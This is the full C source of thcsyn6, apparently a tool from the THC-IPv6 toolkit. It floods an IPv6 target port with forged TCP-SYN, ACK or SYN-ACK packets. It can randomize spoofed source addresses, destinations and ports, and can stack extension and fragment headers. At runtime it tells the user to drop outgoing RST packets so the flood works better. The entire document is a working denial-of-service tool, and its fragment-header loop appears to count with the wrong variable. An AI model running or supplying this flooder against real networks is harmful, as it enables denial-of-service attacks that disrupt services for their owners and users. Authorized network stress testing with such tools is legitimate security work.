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thcsyn6.c
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thcsyn6.c
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf(
"Syntax: %s [-aAcdDfrORS] [-i microsecond] [-m dstmac] [-p port] [-s "
"sourceip6] interface target port\n\n",
prg);
printf("Options:\n");
printf(" -i sending interval of packets (in microseconds)\n");
printf(" -a add hop-by-hop header with router alert\n");
printf(" -d add destination header (can be set up to 64 times)\n");
printf(
" -f add atomic fragmentation header (can be set up to 64 times)\n");
printf(" -A send TCP-ACK packets\n");
printf(" -S send TCP-SYN-ACK packets\n");
printf(" -r randomize the source from your /64 prefix\n");
printf(" -R randomize the source fully\n");
printf(" -D randomize the destination (treat as /64)\n");
printf(" -O add a TCP Fast Open cookie (SYN-only packets)\n");
printf(" -m dstmac use this destination mac address\n");
printf(" -s sourceip6 use this as source IPv6 address\n");
printf(" -p port use fixed source port\n");
printf(
"\nFlood the target port with TCP-SYN packets. If you supply \"x\" as "
"port, it\nis randomized.\n");
exit(-1);
}
#define IDS_STRING 0xbebacefa
int main(int argc, char *argv[]) {
char * interface, *ptr, buf2[8], buf3[18];
unsigned char *dst = NULL, *dstmac = NULL, *src = NULL, *srcmac = NULL,
dmac[6];
int i, type = TCP_SYN, alert = 0, randsrc = 0, randdst = 0, randsrcp = 1,
randdstp = 0, dont_crc = 0, seq, do_dst = 0, do_frag = 0, fastopen = 0,
olen = 0;
unsigned char * pkt = NULL;
int pkt_len = 0, count = 0;
unsigned short int sport, port;
int msec = 0;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
while ((i = getopt(argc, argv, "i:afAcrRs:DSp:m:dfO")) >= 0) {
switch (i) {
case 'i':
msec = atoi(optarg);
break;
case 'a':
alert = 8;
break;
case 'O':
fastopen = 1;
break;
case 'A':
type = TCP_ACK;
break;
case 'S':
type = TCP_SYN + TCP_ACK;
break;
case 'c':
dont_crc = IDS_STRING;
break;
case 'm':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0],
(unsigned int *)&dmac[1], (unsigned int *)&dmac[2],
(unsigned int *)&dmac[3], (unsigned int *)&dmac[4],
(unsigned int *)&dmac[5]);
dstmac = dmac;
break;
case 'r':
randsrc = 8;
break;
case 'R':
randsrc = 1;
break;
case 'D':
randdst = 8;
break;
case 'p':
sport = atoi(optarg);
randsrcp = 0;
break;
case 's':
src = thc_resolve6(optarg);
break;
case 'd':
do_dst++;
break;
case 'f':
do_frag++;
break;
default:
fprintf(stderr, "Error: unknown option -%c\n", i);
exit(-1);
}
}
if (argc - optind < 3) help(argv[0]);
interface = argv[optind];
if ((ptr = index(argv[optind + 1], '/')) != NULL) *ptr = 0;
if ((dst = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: Can not resolve %s\n", argv[optind + 1]);
exit(-1);
}
if (strcasecmp(argv[optind + 2], "x") == 0)
randdstp = 1;
else
port = atoi(argv[optind + 2]);
if ((srcmac = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (src == NULL)
if ((src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL)) == NULL) {
fprintf(stderr, "Error: no IPv6 address configured on interface %s\n",
interface);
exit(-1);
}
if (src[0] >= 0xfe && dst[0] < 0xfe) {
fprintf(stderr,
"Error: link local address on interface, destination however is "
"remote\n");
exit(-1);
}
if (dstmac == NULL) {
if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) {
fprintf(stderr, "Error: can not find a route to target %s\n", argv[2]);
exit(-1);
}
}
memset(buf2, 0, sizeof(buf2));
buf2[0] = 5;
buf2[1] = 2;
if (fastopen) {
buf3[0] = 22;
buf3[1] = 18;
memcpy(buf3 + 2, dst, 16);
olen = 18;
}
printf(
"Starting to flood target network with TCP%s%s %s (Press Control-C to "
"end, a dot is printed for every 1000 packets):\n",
(type & TCP_SYN) > 0 ? "-SYN" : "", (type & TCP_ACK) > 0 ? "-ACK" : "",
interface);
if (type == TCP_SYN)
printf(
"Remember to filter outgoing RST packets for SYN flooding, e.g. "
"iptables -I OUTPUT -p tcp --tcp-flags RST RST -j DROP\n");
while (1) {
if (randsrc) {
for (i = randsrc; i < 16; i++)
src[i] = rand() % 256;
}
if (randdst) {
for (i = randdst; i < 16; i++)
dst[i] = rand() % 256;
}
if (randsrcp) sport = rand() % 65536;
if (randdstp) port = rand() % 65536;
seq = rand();
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src,
dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (alert) {
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0) return -1;
}
if (do_dst) {
if (do_dst > (thc_get_mtu(interface) - 40 - alert - 24) / 8)
do_dst = (thc_get_mtu(interface) - 40 - alert - 24) / 8;
memset(buf2, 0, sizeof(buf2));
for (i = 0; i < do_dst; i++)
if (thc_add_hdr_dst(pkt, &pkt_len, buf2, 6) < 0) return -1;
}
if (do_frag) {
if (do_frag > (thc_get_mtu(interface) - 40 - alert - 24) / 8)
do_frag = (thc_get_mtu(interface) - 40 - alert - 24) / 8;
memset(buf2, 0, sizeof(buf2));
for (i = 0; i < do_dst; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + i) < 0)
return -1;
}
if (thc_add_tcp(pkt, &pkt_len, sport, port, seq, 0, type, 0x3840, 0, buf3,
olen, NULL, 0) < 0)
return -1;
if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0)
return -1;
while (thc_send_pkt(interface, pkt, &pkt_len) < 0)
usleep(1);
pkt = thc_destroy_packet(pkt);
count++;
if (count % 1000 == 0) printf(".");
if (msec != 0) usleep(msec);
}
return 0;
}